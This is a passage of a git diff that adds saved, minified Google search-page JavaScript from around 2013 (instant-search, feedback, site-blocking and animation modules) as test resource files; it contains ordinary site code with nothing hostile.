+_.p3?"//"+_.p3+a:a},74,function(){_.c2.Ke.vF=_.j;var a=_.Ri.la(),a=(0,_.X1)(a);_.c2.Ke.pI=a},75,function(){_.c2.Ke.vF=_.m;0==_.c2.Ke.H?(0,_.y2)(_.c2.results,_.Ri.la()):_.L2?_.J2&&(0,_.z2)(_.c2.results):(0,_.y2)(_.c2.results,_.c2.Ke.Zc())},27,(0,_.E)(_.m),28,(0,_.ea)(),29,(0,_.ea)()];
+_.iBa=[31,function(){_.W2&&(0,_.a3)()&&(0,_.b3)()},0,function(a,b){if(_.c2.isEnabled()&&b&&(0,_.m1)("pf",a)){var c=_.c2.results;1==c.D&&((0,_.F2)(c,3),c.N=2)}_.W2&&(0,_.a3)()&&(0,_.b3)();window.setTimeout(function(){(0,_.N2)(_.c2.results,(0,_.q2)(_.c2.results))&&(0,_.rza)()},0);return _.j},7,function(a){a=(0,_.u1)(a);(0,_.g2)(_.c2,a);if((!a||"#"==a)&&!(0,_.w1)()){if((0,_.m1)("tbm",(0,_.s1)())!=_.l){a=_.c2;var b=["prmdo","tbo","tbs"],c=(0,_.m1)("tbm",(0,_.s1)());c?(0,_.Un)().tbm=c:b.push( [...]
+_.c2,(0,_.H1)();(0,_.d2)(a);return _.m}if(!_.c2.isEnabled())return(0,_.k1)(),_.j;if((0,_.dAa)(_.c2.results,a))return _.m;_.c2.Ke.clear();(0,_.n2)(_.c2.results,a);return _.j},25,function(a,b,c){if(21==b||0==b||1==b||12==b||9==b){if(!_.c2.isEnabled()||(0,_.p2)(_.c2.results,c)&&0!=_.c2.results.D)return(0,_.o2)(_.c2),2;(0,_.Wza)(_.c2,c);return 3}return 1}];
+_.jBa=[5,function(a,b){var c=_.c2;(0,_.g2)(c,a);(0,_.V2)(c.Ke);(0,_.U2)(c.Ke);return c.isEnabled()&&!(0,_.n2)(c.results,a,b)&&(0,_.dAa)(c.results,a)?_.l:a},100];_.fBa=[7,function(a){a=(0,_.u1)(a);"#"==a||!a?((0,_.Bza)(),(!_.c2.state||!_.c2.isEnabled())&&(0,_.qza)()):(0,_.k1)();return _.j},49,function(){(0,_.Sza)(_.c2)},5,function(a){(0,_.k1)();return a}];_.YAa=[];
+(0,_.ha)("google.psy.h",function(a){a=a||window.event;if(a.ctrlKey||a.metaKey)return _.j;(0,_.I1)("msg_box",_.m);var b=(0,_.TAa)();b&&(_.Ri.Ig(b),(0,_.n2)(_.c2.results,(0,_.D2)(_.c2.results,b)),(0,_.x1)(),(0,_.xf)(98,[b]));b=_.c2.results;(0,_.I2)(b)&&(0,_.F2)(b,2);if(a=a||window.event)a.stopPropagation&&a.stopPropagation(),a.cancelBubble=a.cancel=_.j,(0,_.g3)(a);return _.m},_.ba);(0,_.ha)("google.psy.m",function(a){var b=_.c2.results;0==b.N&&((0,_.R2)(b),(0,_.I2)(b)&&(0,_.F2)(b,a))},_.ba);
+(0,_.ha)("google.psy.pf",function(a,b,c){if(!_.c2||!_.E2||!_.c2.isEnabled())return _.m;a=(0,_.js)(a);(0,_.m1)("fp",a)!=_.l||(a+="&fp=1");a=(0,_.M2)(_.c2.results,a);c||(c=_.c1?"i":"p");a=(0,_.m1)("pf",a)!=_.l?(0,_.G1)("pf",a,c):a+"&pf="+c;return!_.E2.X(a)?(_.E2.jd(a,_.m,_.m,function(){var c=_.E2.Fa(a,600);b&&b(c)}),_.j):_.m},_.ba);(0,_.ha)("google.psy.q",_.c3,_.ba);
+(0,_.ha)("google.psy.qs",function(a){var b=(0,_.Mh)(a);if(b){for(;b&&b!=window.document.body&&!(0,_.If)(b,"qs");)b=b.parentNode;b&&(b!=window.document.body&&(0,_.If)(b,"qs"))&&(b.href=(0,_.G1)("site",b.href,""))}(!_.c2||!_.c2.isEnabled())&&(0,_.Wh)(a)},_.ba);(0,_.ha)("google.psy.r",function(a){a=a||window.event;!a.ctrlKey&&!a.metaKey&&((0,_.I2)(_.c2.results),(0,_.x1)())},_.ba);(0,_.ah)("p",{init:_.ZAa,jesrLoaded:_.ZAa,dispose:_.RAa});
+
+(0,_.Mc)(_.Dc.I(),"p");(0,_.Qc)(_.Dc.I(),"p");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"pcc");if(window.google.y.first){for(_.b1=0,_.bza;_.bza=window.google.y.first[_.b1];++_.b1)(0,_.bza)();delete window.google.y.first}for(_.b1 in window.google.y)window.google.y[_.b1][1]?window.google.y[_.b1][1].apply(window.google.y[_.b1][0]):window.google.y[_.b1][0].go();(0,_.ha)("google.y.x",window.google.x,_.ba);window.google.y.first=[];(0,_.ha)("google.x",function(a,b){b&&b.apply(a);return _.m},_.ba);window.google.pml=1;
+
+(0,_.Mc)(_.Dc.I(),"pcc");(0,_.Qc)(_.Dc.I(),"pcc");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"csi");if(window.google.timers&&window.google.timers.load.t){window.google.timers.load.t.xjsee=window.google.time();_.Xj=(0,_.Df)("qsubts");if(_.Xj&&_.Xj.match("^[0-9]+$")){_.Yj=(0,window.parseInt)(_.Xj,10);_.Zaa=window.google.time();_.Yj<=_.Zaa&&window.google.tick("load","qsubts",_.Yj)}_.$aa=window.google.sn;window.setTimeout(function(){if(window.google.timers.load.t){var a=window.google.sn;window.google.sn=_.$aa;window.google.timers.load.t.xjs=window.google.time();for [...]
+
+(0,_.Mc)(_.Dc.I(),"csi");(0,_.Qc)(_.Dc.I(),"csi");
+}catch(e){_._DumpException(e)}
+})(_);
+
+// Copyright 2002-2013 Google Inc.
diff --git a/src/test/resources/s/google.com_files/rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ(1) b/src/test/resources/s/google.com_files/rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ(1)
new file mode 100644
index 0000000..f5683c9
--- /dev/null
+++ b/src/test/resources/s/google.com_files/rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ(1)
@@ -0,0 +1,225 @@
+var _=_||{};(function(_){
+try{
+_.uk=function(a,b,c){a.timeOfStartCall=(new window.Date).getTime();var d=c||_.ia,e=a.serverUri||"//www.google.com/tools/feedback",f=d.GOOGLE_FEEDBACK_START;/iphone|ipad|ipod|android|blackberry|mini|windows\sce|windows\sphone|palm/i.test(window.navigator.userAgent)&&(a.mobileWindow=window.open(""));d.GOOGLE_FEEDBACK_START_ARGUMENTS=arguments;f?f.apply(d,arguments):(d=d.document,f=d.createElement("script"),f.src=e+"/load.js",d.body.appendChild(f))};(0,_.Pc)(_.Dc.I(),"sy8");
+
+(0,_.Mc)(_.Dc.I(),"sy8");(0,_.Qc)(_.Dc.I(),"sy8");
+}catch(e){_._DumpException(e)}
+try{
+_.vk=function(a,b){var c=(0,_.Df)(a,b);return c&&(0,window.decodeURIComponent)(c.replace(/\+/g," "))};
+_.wk=function(a,b,c){a=b.ved;b=b.bucket;a?window.google.log("gf","&ved="+(0,window.encodeURIComponent)(a)):window.google.log("gf","");a={productId:196,locale:window.google.kHL,authuser:window.google.authuser,https:window.google.https(),enableAnonymousFeedback:_.j};var d={ei:window.google.kEI,expi:window.google.kEXPI,si:_.xk};b&&(a.bucket=b);c?(d.q=(0,_.vk)("q"),d.tier=1,a.enableRating=_.j):d.query=(0,_.vk)("q");(0,_.uk)(a,d)};_.yk=function(a,b){(0,_.wk)(a,b,_.m)}; _.dba=function(a,b){(0, [...]
+_.xk=_.m;(0,_.ah)("gf",{init:function(a){_.xk=!!a.si;(0,_.Kg)("gf",{sf:_.yk,sfd:_.dba,smf:_.eba})},dispose:function(){var a=window.GOOGLE_FEEDBACK_DESTROY_FUNCTION;a&&a()}});
+(0,_.Mc)(_.Dc.I(),"gf");(0,_.Qc)(_.Dc.I(),"gf");
+}catch(e){_._DumpException(e)}
+try{
+_.iya=function(a,b){a===_.l||(0,_.cf)(a,"position","absolute","top",b.y+"px","left",b.x+"px","width",b.w+"px","height",b.h+"px")};_.jya=function(a,b,c,d){try{var e=(0,_.oh)();e.onreadystatechange=function(){4==e.readyState&&200==e.status&&(c&&c(d?(0,_.Qg)(e.responseText):e.responseText),e=_.l)};if(0==a)e.open("GET",b,_.j),e.send(_.l);else{var f=b.split("?");e.open("POST",f[0],_.j);e.setRequestHeader("Content-Type","application/x-www-form-urlencoded");e.send(f[1]||"")}}catch(g){}};
+_.kya=function(a){var b=(0,_.Df)("authuser");return b?a+"&authuser="+b:a};
+_.o0=function(a,b,c){if(_.p0){var d;d=b.hG?{url:b.hG}:b.iS?{swUrl:b.iS,groups:["W"],encrypted:b.PL==_.l?_.q0.qt:_.q0.at[b.IF]}:{tingUrl:b.eG,groups:["__TING_TLD"]};var e={applicationId:19};if("write"==a){var f={},g=b.IF;d={entity:d,attributes:f};g&&256<g.length&&(g=g.substr(0,256));_.q0.ex&&(f.exp=_.q0.ex);b.iR&&(f.originalUrl=b.iR);if(b.PL!=_.l)f.rquery=g,b.kd!=_.l&&(f.pa=b.kd),d.starRating=b.PL,b.gR&&(f.originalDomain=b.gR,b.e0&&(f.reasonOther=b.e0));else if(b.B4){if(f.rquery=g,d.bookm [...]
+b.DV&&(g=b.DV.split(/=|\|/),0==g.length%2))for(var h=0;h<g.length;h+=2){var i=g[h];i in _.lya&&(f[_.lya[i]]=g[h+1])}}else d.labels=[b.IF];b.qE&&(d.title=b.qE);d.language=window.google.kHL;d.country=b.uz?b.uz:_.q0.gl;e.annotations=[d]}else"delete"==a&&(e.entities=[d]);e="/reviews/json/"+a+"?req="+(0,window.encodeURIComponent)((0,_.Rg)(e));if("write"==a||"delete"==a)e+="&token="+_.p0;(0,_.r0)((0,_.kya)(e),c)}else e=function(){(0,_.o0)(a,b,c)},_.p0?e():1==_.s0.push(e)&&(e="/reviews/json/tok [...]
+(0,window.encodeURIComponent)((0,_.Rg)({applicationId:19})),(0,_.r0)((0,_.kya)(e)))};_.r0=function(a,b,c){(0,_.jya)(1,a,function(d){if(d.channelHeader.token){_.p0=d.channelHeader.token;if(d.swToken&&(_.q0.qt=d.swToken,_.q0.at={},d.queryTokens))for(var e=0,f;f=d.queryTokens[e++];)_.q0.at[f.query]=f.token;for(;_.s0.length;)_.s0.shift()()}e=d.channelHeader.errorCode;f=c||1;7==e&&3>f?(0,_.r0)(a,b,f+1):(e&&window.google.log("error","&sa=X&oi=sw_s&cd="+e),b&&b(d))},1)};
+_.t0=function(a,b){var c=_.u0[a],d;for(d in b)c=c.replace(d,b[d]);return c};_.mya=function(a){return a!==_.l&&(0,_.If)(a,"l")};_.nya=function(a){var b="";if(a){a=a.href;var c=window.location.protocol+"//"+window.location.host;0==a.indexOf(c)&&(a=a.substring(c.length));(a=a.match(/^\/interstitial\?url=(.+?)(&|$)/))&&(b=(0,window.decodeURIComponent)(a[1]))}return b};
+_.oya=function(a){var b="";if(a){var b=a.href,c=b.match(/\/url\?(?:.+&)?(?:url|q)=(.+?)(?:&|$)/);c&&(b=(0,window.decodeURIComponent)(c[1]));a=(0,_.nya)(a);""!=a&&(b=a)}return b};_.v0=function(a){return(0,_.oya)((0,_.bf)("a.l",a))};_.w0=function(a){return(a=a.match(/^([A-Za-z]+:\/\/)([^\/:]+)[:\/]/))&&2<=a[2].split(".").length?a[2]:""};_.x0=function(a){return"http://"+a+"/"};_.y0=function(a,b){var c=window.Array.prototype.slice.call(arguments,1);return function(){return a.apply(_.l,c.conc [...]
+_.pya=function(a){_.z0&&(0,window.clearTimeout)(_.A0);_.z0=_.j;_.A0=(0,window.setTimeout)(function(){var b=(0,_.bf)("a.kob",a),c=(0,_.bf)("div.kobh",a);c&&((0,_.Kf)()||(c.style.left=b.offsetLeft+"px"),c.style.top=b.offsetHeight+"px",c.style.display="");_.z0=_.m},_.B0.td)};_.qya=function(a){_.z0&&(_.z0=_.m,(0,window.clearTimeout)(_.A0));if(a=(0,_.bf)("div.kobh",a))a.style.display="none"};
+_.C0=function(a,b,c){b?(b={uz:_.B0.gl},c&&(b.iR=c),a={eG:a,IF:_.B0.q},c=(c=b)||{},c.IF=a.IF||_.q0.q,a.eG?c.eG=a.eG:c.iS=a.hG,c.PL=1,a=_.l,c.gR&&(a=function(a){a.channelHeader.errorCode?(0,_.bf)("span.t_inpterr").style.display="block":window.location.href=window.location.href}),(0,_.o0)("write",c,a)):(0,_.o0)("delete",{eG:a})};
+_.rya=function(a){if(_.D0[a]){for(a=_.D0[a];a&&"LI"!=a.nodeName;)a=a.parentNode;if(a){var b=(0,_.w0)((0,_.v0)(a)),c=(0,_.bf)(".f",a);!c&&""!=(0,_.nya)((0,_.bf)("a",a))&&(c=(0,_.bf)(".s",a));if(c){var d=(0,_.bf)("a.kob",c);if(!d){var e=(0,_.t0)("a",{"%1$s":b}),f=(0,_.t0)("b",{"%1$s":b}),g=(0,_.Kf)()?-10:10,e=(0,_.Ze)("span",' <div style="display:block;position:relative"><div class=kobh style="display:none;position:absolute;z-index:111;padding:0px;right:0px"><div style="height:0;width:0;po [...]
+g+'px;direction:ltr;top:4px;border-top:0;border-left:15px solid transparent;border-right:15px solid transparent;border-bottom:15px solid #aaa"></div><div style="height:0;width:0;position:relative;left:'+g+'px;direction:ltr;top:-9px;z-index:112;border-top:0;border-left:15px solid transparent;border-right:15px solid transparent;border-bottom:15px solid #fff"></div><div style="background:#fff;position: absolute;top:18px;pointer-events: none;white-space: nowrap;padding:8px;border:1px solid # [...]
+f+'<span class=kobs style="display:none">'+b+'</span></div></div><span class=gl><a href=# class=kob style="color:#c00c00">'+e+"</a></span></div>");if((0,_.If)(c,"f"))c.appendChild(e);else{for(f=c.lastChild;f&&"BR"!=f.tagName&&""==f.innerHTML;)f=f.previousElementSibling;f?c.insertBefore(e,f):c.appendChild(e)}d=(0,_.bf)("a.kob",c);d.onclick=(0,_.y0)(_.sya,d);d.onmouseover=(0,_.y0)(_.pya,a);d.onmouseout=(0,_.y0)(_.qya,a);d.onfocus=(0,_.y0)(_.pya,a);d.onblur=(0,_.y0)(_.qya,a);(0,window.setTi [...]
+[[d,"color","#c00c00","#1122cc"]])},0)}d.style.display=""}return b}}return""};_.tya=function(a,b){b==_.l&&(b={});b.Jz=a.kobi?a.kobi-1:-1;b.gE=window.google.time();(0,_.fq)("kob",b)};_.uya=function(a){var b="";if(a&&0<=a.Jz){var b="kob:idx="+a.Jz,c=window.Math.floor((window.google.time()-a.gE)/1E3);if(0>=_.B0.cd||c<_.B0.cd)a=(0,_.rya)(a.Jz),b+=":sb=1:dom="+a;b+=":cd="+c;a={};(0,_.fq)("kob",a)}return b};_.vya=function(){var a=(0,_.tf)();a&&a.hb();window.google.j&&window.google.j.cl&&window [...]
+_.sya=function(a){for(;a&&"LI"!=a.nodeName;)a=a.parentNode;if(a){var b=a;if(!window.document.cookie||!/(^|; )SID=[^;]+/.test(window.document.cookie))return a=window.location.href+"&kob="+(0,_.v0)(b),(0,_.yf)("https://accounts.google.com/Login?hl="+window.google.kHL+"&continue="+(0,window.encodeURIComponent)(a)),_.m;a=(0,_.bf)("span.kobs",b);a=(0,_.Rd)(a);a=(0,_.t0)("c",{"%1$s":a});var c=(0,_.Df)("authuser"),d=(0,_.Ze)("li.g s",a+' <span style="display:inline-block"><a href="/review [...]
+window.google.kHL+(c?"&authuser="+c:"")+'"><b>'+_.u0.d+"</b></a> <a href=# class=kobu><b>"+_.u0.e+"</b></a></span>");(0,_.cf)(d,"backgroundColor","#fff1a8","padding","4px 8px","marginLeft","-8px","marginRight","-8px","display","none");(0,_.Ed)(d,b);(0,_.bf)("a.kobu",d).onclick=(0,_.y0)(_.wya,d,b);(0,_.C0)((0,_.x0)((0,_.w0)((0,_.v0)(b))),_.j,(0,_.v0)(b));var e=function(){b.style.display="none";d.style.display=""};a={x:(0,_.we)(b),y:(0,_.xe)(b),w:b.offsetWidth,h:b.offsetHeight};b.st [...]
+"hidden";var f=new window.Image,g=window.Math.min(1,a.h/65),c=window.Math.round(120*g),h=(0,_.Ze)("div");f.width=c;if(_.Pe.Lt){h.style.zIndex=100;c=(0,_.cf)((0,_.Ze)("div"),"position","relative","overflow","hidden","margin","auto","width",c+"px","height",window.Math.round(65*g)+"px");(0,_.iya)(h,a);h.appendChild((0,_.Ze)("div.s")).appendChild(c);window.document.body.appendChild(h);f.style.position="absolute";f.src="/images/swxa.png";f.height=window.Math.round(780*g);c.appendChild(f);var [...]
+i?(window.clearInterval(n),(0,_.Fd)(h),b.style.display="none",e()):f.style.top=window.Math.round(-65*i++*g)+"px"},62.5)}else(0,_.cf)(h,"zIndex",100,"verticalAlign","middle"),(0,_.iya)(h,a),window.document.body.appendChild(h),f.src="/images/swxa.gif",f.height=window.Math.round(65*g),h.appendChild((0,_.cf)((0,_.Ze)("div.s"),"textAlign","center")).appendChild(f),window.setTimeout(function(){(0,_.Fd)(h);b.style.display="none";e()},750);(0,_.vya)()}return _.m};
+_.wya=function(a,b){a.style.display="none";b.style.display="";b.style.visibility="";(0,_.bf)("span.kobs",b);(0,_.C0)((0,_.x0)((0,_.w0)((0,_.v0)(b))),_.m);return _.m};
+_.xya=function(a,b,c){var d=(0,_.Rd)(b),d=(0,_.t0)("g",{"%1$s":_.E0[a]});b===_.l||(0,_.cf)(b,"fontWeight","bold","innerHTML",d,"cursor","default","color","#767676");(0,_.sh)(b,"click",_.F0[a]);delete _.F0[a];_.F0[a]=_.l;if(!c)return _.m;(b=_.G0[a])||(b=(0,_.x0)(_.E0[a]));(0,_.C0)(b,_.m);(0,_.vya)();(0,_.Nh)(c);for(c=0;d=_.G0[c];++c)if(c!=a&&_.F0[c]&&d==b)_.F0[c](_.l);return _.m};
+_.yya=function(a,b){(0,_.jya)(0,"/search?q=info:"+(0,window.encodeURIComponent)(a+" "+_.B0.q)+"&swm=5&hl="+window.google.kHL,function(c){if((c=c&&c.match(_.zya))&&/class="?g\b/.test(c[1]))b((0,_.Ze)("div",c[1]).firstChild);else{/^[a-zA-Z]+:\/\//.test(a)||(a="http://"+a);c={url:(0,_.Kh)(a),site:(0,_.Kh)(a.replace("http://",""))};var d='<h3 class=r><a class=l href="{url}">{url}</a></h3><div class=s><cite>{site}</cite></div>',e;for(e in c)d=d.replace((0,window.RegExp)("\\{"+e+"\\}","g"),c[e [...]
+d))}})};
+_.Aya=function(){var a=(0,_.bf)("a.kobbs"),b=(0,_.bf)("ol.kobb");if(_.H0)a.innerHTML=_.u0.h,b.style.display="none",_.H0=_.m;else{a.innerHTML=_.u0.i;b.style.display="";if(!_.I0){for(var c=function(a,c){if(_.E0[a]){b.appendChild(c);var d=(0,_.bf)("cite",c).parentNode;d.appendChild(window.document.createTextNode(" - "));var e=(0,_.t0)("f",{"%1$s":_.E0[a]}),e=(0,_.cf)((0,_.Ze)("span.kob","<span onmouseout=\"this.style.textDecoration='none';\" onmouseover=\"this.style.textDecoration='unde [...]
+"</span>"),"color","#c00","cursor","pointer");d.appendChild(e);_.F0[a]=(0,_.y0)(_.xya,a,e);(0,_.rh)(e,"click",_.F0[a]);(0,_.Fd)((0,_.bf)("button.vspib",c))}},d=0,e;e=_.J0[d];++d)(0,_.yya)(e,(0,_.y0)(c,d));_.I0=_.j}_.H0=_.j}window.google.log("t_t","to:"+(_.H0?1:0),"",a);return _.m};(0,_.Pc)(_.Dc.I(),"tng");
+_.q0=_.l;_.lya={s:"s2CellId"};_.p0="";_.s0=[];_.D0={};_.J0=[];_.E0=[];_.G0=[];_.F0=[];_.I0=_.m;_.H0=_.m;_.B0={mb:500,cd:100,td:300};_.A0=0;_.z0=_.m;_.u0={};_.zya=/\x3c!--m--\x3e\s*(.*?)\s*\x3c!--n--\x3e/;
+(0,_.ah)("tng",{init:function(a){_.D0={};_.J0=[];_.E0=[];_.G0=[];_.F0=[];_.H0=_.I0=_.m;_.B0={mb:500,cd:100,td:300,q:""};_.z0=_.m;_.u0={};_.q0=_.q0||{};if(!a||!a.su){var b;_.D0={};b=-1;var c=(0,_.Df)("kob");c&&(c=(0,window.decodeURIComponent)(c));for(var d=(0,_.af)("h3.r"),e=0;e<d.length;++e){var f=(0,_.bf)("a.l",d[e]);f&&(_.D0[e]=f,f.kobi=e+1,c&&c==(0,_.oya)(f)&&(b=e))}(new window.Image).src="/images/swxa."+(_.Pe.Lt?"png":"gif");if(a){_.J0=a.bu||[];_.E0=a.bd||[];_.G0=a.bk||[];_.u0=a.msgs [...]
+
+(0,_.Mc)(_.Dc.I(),"tng");(0,_.Qc)(_.Dc.I(),"tng");
+}catch(e){_._DumpException(e)}
+try{
+_.nx=function(a,b){this.D=a||1;this.B=b||_.ox;this.H=(0,_.Xa)(this.pX,this);this.M=(0,_.zg)()};_.px=function(a,b,c){(0,_.Ja)(a)?c&&(a=(0,_.Xa)(a,c)):a&&"function"==typeof a.handleEvent?a=(0,_.Xa)(a.handleEvent,a):(0,_.aa)((0,window.Error)("Invalid listener argument"));return 2147483647<b?-1:_.ox.setTimeout(a,b||0)};(0,_.Pc)(_.Dc.I(),"sy43");
+(0,_.ab)(_.nx,_.vg);_.nx.prototype.enabled=_.m;_.ox=_.ia;_.F=_.nx.prototype;_.F.OC=_.l;_.F.pX=function(){if(this.enabled){var a=(0,_.zg)()-this.M;0<a&&a<0.8*this.D?this.OC=this.B.setTimeout(this.H,this.D-a):(this.dispatchEvent("tick"),this.enabled&&(this.OC=this.B.setTimeout(this.H,this.D),this.M=(0,_.zg)()))}};_.F.start=function(){this.enabled=_.j;this.OC||(this.OC=this.B.setTimeout(this.H,this.D),this.M=(0,_.zg)())}; _.F.stop=function(){this.enabled=_.m;this.OC&&(this.B.clearTimeout(th [...]
+
+(0,_.Mc)(_.Dc.I(),"sy43");(0,_.Qc)(_.Dc.I(),"sy43");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"sy56");
+(0,_.Mc)(_.Dc.I(),"sy56");(0,_.Qc)(_.Dc.I(),"sy56");
+}catch(e){_._DumpException(e)}
+try{
+_.qx=function(a,b,c){this.hE=a;this.D=b||0;this.B=c;this.Bk=(0,_.Xa)(this.qX,this)};(0,_.Pc)(_.Dc.I(),"sy44");(0,_.ab)(_.qx,_.mc);_.F=_.qx.prototype;_.F.zn=0;_.F.Cf=function(){_.qx.Sa.Cf.call(this);this.stop();delete this.hE;delete this.B};_.F.start=function(a){this.stop();this.zn=(0,_.px)(this.Bk,(0,_.ja)(a)?a:this.D)};_.F.stop=function(){this.isActive()&&_.ox.clearTimeout(this.zn);this.zn=0};_.F.isActive=function(){return 0!=this.zn};_.F.qX=function(){this.zn=0;this.hE&&this.hE.call(this.B)};
+
+(0,_.Mc)(_.Dc.I(),"sy44");(0,_.Qc)(_.Dc.I(),"sy44");
+}catch(e){_._DumpException(e)}
+try{
+_.JC=function(a){var b=0,c;for(c in a)b++;return b};_.KC=function(a,b){var c=a.style;"opacity"in c?c.opacity=b:"MozOpacity"in c?c.MozOpacity=b:"filter"in c&&(c.filter=""===b?"":"alpha(opacity="+100*b+")")};_.LC=function(){this.B=0;this.ka=this.startTime=_.l};(0,_.Pc)(_.Dc.I(),"sy57");
+(0,_.ab)(_.LC,_.vg);_.LC.prototype.D=function(){this.Wy("begin")};_.LC.prototype.H=function(){this.Wy("end")};_.LC.prototype.ra=function(){this.Wy("play")};_.LC.prototype.Wy=function(a){this.dispatchEvent(a)};
+(0,_.Mc)(_.Dc.I(),"sy57");(0,_.Qc)(_.Dc.I(),"sy57");
+}catch(e){_._DumpException(e)}
+try{
+_.yv=function(a){return(0,_.cg)(a,0)&&!(_.sd&&_.pe&&a.ctrlKey)};_.zv=function(a,b,c){c?(0,_.Zc)(a,b):(0,_.ad)(a,b)};_.Av=function(a,b,c){return b in a?a[b]:c};_.Bv=function(a){this.N=a;this.D=[]};(0,_.Pc)(_.Dc.I(),"sy37");(0,_.ab)(_.Bv,_.mc);_.Cv=[];_.F=_.Bv.prototype;_.F.listen=function(a,b,c,d,e){(0,_.oa)(b)||(_.Cv[0]=b,b=_.Cv);for(var f=0;f<b.length;f++){var g=(0,_.eg)(a,b[f],c||this,d||_.m,e||this.N||this);this.D.push(g)}return this};
+_.F.unlisten=function(a,b,c,d,e){if((0,_.oa)(b))for(var f=0;f<b.length;f++)this.unlisten(a,b[f],c,d,e);else{a:{c=c||this;e=e||this.N||this;d=!!d;if(a=(0,_.ng)(a,b,d))for(b=0;b<a.length;b++)if(!a[b].nC&&a[b].ez==c&&a[b].capture==d&&a[b].dC==e){a=a[b];break a}a=_.l}a&&(a=a.key,(0,_.pg)(a),(0,_.zb)(this.D,a))}return this};_.F.removeAll=function(){(0,_.Qb)(this.D,_.pg);this.D.length=0};_.F.Cf=function(){_.Bv.Sa.Cf.call(this);this.removeAll()};_.F.handleEvent=function(){(0,_.aa)((0,window.Err [...]
+
+(0,_.Mc)(_.Dc.I(),"sy37");(0,_.Qc)(_.Dc.I(),"sy37");
+}catch(e){_._DumpException(e)}
+try{
+_.xw=function(a){var b;_.lc?b="-ms-transform":_.sd?b="-webkit-transform":_.ie?b="-o-transform":_.he&&(b="-moz-transform");var c;b&&(c=(0,_.me)(a,b));c||(c=(0,_.me)(a,"transform"));if(!c)return new _.Vc(0,0);a=c.match(_.Xca);return!a?new _.Vc(0,0):new _.Vc((0,window.parseFloat)(a[1]),(0,window.parseFloat)(a[2]))};_.yw=function(a,b){if("none"==(0,_.le)(a,b+"Style"))return 0;var c=(0,_.le)(a,b+"Width");return c in _.zw?_.zw[c]:(0,_.Je)(a,c,"left","pixelLeft")};
+_.Aw=function(a){if(_.lc){var b=(0,_.yw)(a,"borderLeft"),c=(0,_.yw)(a,"borderRight"),d=(0,_.yw)(a,"borderTop");a=(0,_.yw)(a,"borderBottom");return new _.ce(d,c,a,b)}b=(0,_.ke)(a,"borderLeftWidth");c=(0,_.ke)(a,"borderRightWidth");d=(0,_.ke)(a,"borderTopWidth");a=(0,_.ke)(a,"borderBottomWidth");return new _.ce((0,window.parseFloat)(d),(0,window.parseFloat)(c),(0,window.parseFloat)(a),(0,window.parseFloat)(b))};
+_.Bw=function(a){var b=new _.Vc;if(1==a.nodeType){if(a.getBoundingClientRect){var c=(0,_.te)(a);b.x=c.left;b.y=c.top}else{var c=(0,_.be)((0,_.cd)(a)),d=(0,_.ve)(a);b.x=d.x-c.x;b.y=d.y-c.y}_.he&&!(0,_.hc)(12)&&(a=(0,_.xw)(a),b=new _.Vc(b.x+a.x,b.y+a.y))}else c=(0,_.Ja)(a.UW),d=a,a.targetTouches?d=a.targetTouches[0]:c&&a.zw.targetTouches&&(d=a.zw.targetTouches[0]),b.x=d.clientX,b.y=d.clientY;return b};_.Cw=function(a){return a?a.parentWindow||a.defaultView:window};_.Xca=/matrix\([0-9\.\-]+ [...]
+
+(0,_.Mc)(_.Dc.I(),"sy45");(0,_.Qc)(_.Dc.I(),"sy45");
+}catch(e){_._DumpException(e)}
+try{
+_.ON=function(a){a=(0,_.Va)(a);delete _.PN[a];(0,_.Vb)(_.PN)&&_.QN&&_.QN.stop()};_.ama=function(){_.QN||(_.QN=new _.qx(function(){var a=(0,_.zg)();(0,_.Rb)(_.PN,function(c){(0,_.bma)(c,a)});(0,_.Vb)(_.PN)||(0,_.ama)()},20));var a=_.QN;a.isActive()||a.start()};
+_.RN=function(a,b,c,d){_.LC.call(this);(!(0,_.oa)(a)||!(0,_.oa)(b))&&(0,_.aa)((0,window.Error)("Start and end parameters must be arrays"));a.length!=b.length&&(0,_.aa)((0,window.Error)("Start and end points must be the same length"));this.M=a;this.X=b;this.duration=c;this.Ia=d;this.N=[];this.Sg=_.m};_.bma=function(a,b){a.VA=(b-a.startTime)/(a.ka-a.startTime);1<=a.VA&&(a.VA=1);(0,_.cma)(a,a.VA);1==a.VA?(a.B=0,(0,_.ON)(a),a.Wy("finish"),a.H()):1==a.B&&a.HL()};
+_.cma=function(a,b){(0,_.Ja)(a.Ia)&&(b=a.Ia(b));a.N=(0,window.Array)(a.M.length);for(var c=0;c<a.M.length;c++)a.N[c]=(a.X[c]-a.M[c])*b+a.M[c]};_.dma=function(a,b){_.Zf.call(this,a);this.x=b.N[0];this.y=b.N[1];this.Lp=b.N[2];this.duration=b.duration;this.state=b.B};(0,_.Pc)(_.Dc.I(),"sy91");
+_.PN={};_.QN=_.l;(0,_.ab)(_.RN,_.LC);_.F=_.RN.prototype;_.F.VA=0;_.F.play=function(a){if(a||0==this.B)this.VA=0,this.N=this.M;else if(1==this.B)return _.m;(0,_.ON)(this);this.startTime=a=(0,_.zg)();-1==this.B&&(this.startTime-=this.duration*this.VA);this.ka=this.startTime+this.duration;this.VA||this.D();this.ra();-1==this.B&&this.Wy("resume");this.B=1;var b=(0,_.Va)(this);b in _.PN||(_.PN[b]=this);(0,_.ama)();(0,_.bma)(this,a);return _.j};
+_.F.stop=function(a){(0,_.ON)(this);this.B=0;a&&(this.VA=1);(0,_.cma)(this,this.VA);this.Wy("stop");this.H()};_.F.Cf=function(){0==this.B||this.stop(_.m);this.Wy("destroy");_.RN.Sa.Cf.call(this)};_.F.IC=function(){this.dispose()};_.F.HL=function(){this.Wy("animate")};_.F.Wy=function(a){this.dispatchEvent(new _.dma(a,this))};(0,_.ab)(_.dma,_.Zf);
+
+(0,_.Mc)(_.Dc.I(),"sy91");(0,_.Qc)(_.Dc.I(),"sy91");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"sy6");_.Zj=window.console;
+(0,_.Mc)(_.Dc.I(),"sy6");(0,_.Qc)(_.Dc.I(),"sy6");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"sy36");
+(0,_.Mc)(_.Dc.I(),"sy36");(0,_.Qc)(_.Dc.I(),"sy36");
+}catch(e){_._DumpException(e)}
+try{
